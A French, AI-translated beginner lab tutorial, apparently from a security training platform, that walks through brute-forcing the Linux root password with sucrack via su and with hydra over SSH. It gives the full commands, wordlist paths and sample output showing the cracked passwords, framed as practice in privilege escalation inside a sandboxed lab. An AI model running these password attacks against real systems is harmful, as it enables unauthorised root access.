Attaque par force brute du mot de passe root sous Linux avec Sucrack et Hydra

Beginner

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire (lab), nous explorerons deux méthodes et les outils correspondants pour obtenir le mot de passe de l'utilisateur root grâce à des attaques par force brute sur les systèmes Linux. Ce laboratoire vous aidera à comprendre les principes sous-jacents et à éviter les pièges courants au cours du processus.


Skills Graph

Utilisation de sucrack pour forcer le mot de passe root via la commande su

Dans cette étape, nous allons apprendre à utiliser l'outil sucrack pour forcer le mot de passe de l'utilisateur root grâce à la commande su.

La commande su est utilisée pour changer d'identité d'utilisateur sur les systèmes Linux. À l'exception de l'utilisateur root, les autres utilisateurs doivent fournir le mot de passe de l'utilisateur cible lorsqu'ils utilisent cette commande.

L'outil que nous allons utiliser pour forcer la commande su est sucrack. sucrack est un outil Linux multithreadé conçu pour forcer les mots de passe d'utilisateurs locaux via la commande su.

Étant donné que la commande su nécessite une saisie utilisateur depuis un shell TTY, un simple script shell ne peut pas effectuer l'attaque par force brute. sucrack est écrit en langage C et prend en charge le multithreading, ce qui rend le processus de force brute très efficace.

Vous pouvez consulter le site officiel de sucrack pour plus d'informations.

Dans un scénario réel, la machine cible peut ne pas avoir accès à Internet, vous pouvez donc installer sucrack en utilisant l'une des deux méthodes suivantes :

  • Téléchargez le code source de sucrack et téléversez - le sur la machine cible, puis compilez - le et exécutez - le.
  • Téléchargez le code source de sucrack, compilez - le localement, puis téléversez le binaire compilé sur la machine cible.

Dans ce laboratoire (lab), nous avons déjà installé sucrack pour vous.

  1. Avant d'effectuer l'attaque par force brute, nous allons configurer l'environnement de laboratoire :

    Ouvrez un terminal et accédez au répertoire du projet :

    cd /home/labex/project

    Exécutez le script env_setup_1.sh pour configurer l'environnement de laboratoire :

    ./env_setup_1.sh

    Ce script nous passe à l'utilisateur non privilégié www - data. Notre objectif est d'obtenir le mot de passe de l'utilisateur root par force brute.

    Nous avons une liste de mots préparée à l'avance à /tmp/common - wordlists.txt à des fins de démonstration. Vous pouvez également utiliser votre propre liste de mots.

  2. La syntaxe pour effectuer une attaque par force brute sur la commande su en utilisant sucrack est :

    sucrack -w <threads> [-u <username>] <wordlist>

    Les paramètres sont :

    • -w : Spécifie le nombre de threads
    • <wordlist> : Spécifie le fichier de liste de mots
    • -u : Spécifie le nom d'utilisateur à forcer. Si vous ne spécifiez pas de nom d'utilisateur, sucrack forcera le mot de passe de l'utilisateur root par défaut.

    Essayons de forcer le mot de passe en exécutant la commande suivante :

    sucrack -w 20 /tmp/common-wordlists.txt > ~/sucrack.log && reset

    La sortie de l'attaque par force brute est redirigée vers le fichier sucrack.log.

    Remarque : La commande reset est utilisée pour effacer l'écran du terminal car parfois après avoir utilisé sucrack, le terminal peut ne pas s'afficher correctement.

  3. Cette attaque par force brute peut prendre un certain temps. Après un certain temps, vérifiez le fichier sucrack.log pour confirmer le mot de passe :

    cat ~/sucrack.log

    Sortie attendue :

    password is: really
  4. Ensuite, nous pouvons passer à l'utilisateur root en utilisant :

    su - root

    Entrez le mot de passe really pour passer à l'utilisateur root.

    really
  5. Créez un fichier nommé success_1.txt dans le répertoire /root pour confirmer que vous avez réussi à passer à l'utilisateur root :

    echo "Success_1" > /root/success_1.txt

    Vous pouvez vérifier le fichier /root/success_1.txt pour confirmer que vous avez réussi à passer à l'utilisateur root.

Vous avez appris à utiliser sucrack pour forcer le mot de passe de l'utilisateur root!

Utilisation de hydra pour forcer le mot de passe root via SSH

Dans cette étape, nous allons apprendre à utiliser l'outil hydra pour forcer le mot de passe de l'utilisateur root via le protocole SSH.

Après l'étape précédente, nous devrions toujours être connectés en tant qu'utilisateur root. Pour cette étape, nous devons passer à l'utilisateur labex. Vous pouvez passer à l'utilisateur labex en exécutant la commande suivante :

su - labex
  1. Assurez-vous que le répertoire courant est /home/labex/project :

    cd /home/labex/project

    Exécutez le script env_setup_2.sh pour configurer l'environnement de laboratoire :

    ./env_setup_2.sh

    Comme dans l'étape précédente, après avoir exécuté ce script, vous passerez à l'utilisateur www-data.

  2. Avant d'essayer de forcer le protocole SSH, nous devons vérifier si la machine cible autorise l'utilisateur root à se connecter via SSH. Vous pouvez vérifier cela en exécutant la commande suivante :

    cat /etc/ssh/sshd_config | grep -i permitrootlogin

    Si la sortie montre que PermitRootLogin est défini sur yes, nous pouvons procéder à l'attaque par force brute. Sinon, il n'est pas nécessaire de l'essayer.

  3. L'outil que nous allons utiliser pour forcer le protocole SSH est hydra. hydra est un outil de force brute réputé qui prend en charge divers protocoles, notamment RDP, SMB, HTTP, MySQL, etc. hydra est préinstallé sur Kali Linux et dans l'environnement Ubuntu de notre laboratoire.

    La syntaxe pour forcer le protocole SSH en utilisant hydra est :

    hydra -l root -P passwords.txt -t 4 -V < IP > ssh

    Les paramètres sont :

    • -l : Spécifie le nom d'utilisateur
    • -P : Spécifie le fichier de liste de mots
    • -t : Spécifie le nombre de threads
    • -V : Affiche la progression et les détails de l'attaque par force brute

    Essayons de forcer le mot de passe de l'utilisateur root en utilisant la liste de mots /tmp/common-wordlists.txt et enregistrons la sortie dans le fichier hydra.log :

    hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh > ~/hydra.log

    Après un certain temps, le mot de passe de l'utilisateur root est cracké avec succès.

    Vérifiez le fichier hydra.log pour confirmer le mot de passe :

    cat ~/hydra.log

    Exemple de sortie :

    ...
    [22][ssh] host: 127.0.0.1   login: root   password: penguin
    1 of 1 target successfully completed, 1 valid password found
    ...
  4. Maintenant que nous avons le mot de passe de l'utilisateur root, nous pouvons passer à l'utilisateur root en exécutant la commande suivante :

    su - root

    Entrez le mot de passe penguin pour passer à l'utilisateur root.

    penguin

    Vous devriez maintenant être connecté en tant qu'utilisateur root. Vous pouvez le confirmer en exécutant la commande suivante :

    whoami

    La sortie devrait être root.

  5. Créez un fichier nommé success_2.txt dans le répertoire /root pour confirmer que vous avez réussi à passer à l'utilisateur root :

    echo "Success_2" > /root/success_2.txt

    Vous pouvez vérifier le fichier /root/success_2.txt pour confirmer que vous avez réussi à passer à l'utilisateur root.

Note : Si vous utilisez une version de hydra antérieure à la v9.0, elle peut signaler des faux positifs lors de l'attaque par force brute du protocole SSH. Vous pouvez vérifier la version de hydra en exécutant hydra -v.

Résumé

Dans ce laboratoire (lab), nous avons appris deux méthodes pour forcer le mot de passe de l'utilisateur root sur les systèmes Linux : via la commande su en utilisant l'outil sucrack, et via le protocole SSH en utilisant l'outil hydra. Nous avons abordé l'installation, l'utilisation et les procédures étape par étape de chaque méthode, vous aidant ainsi à comprendre les principes sous-jacents et à éviter les pièges courants. Ce laboratoire offre une expérience pratique précieuse en matière de techniques d'élévation de privilèges, qui peuvent être appliquées dans diverses situations.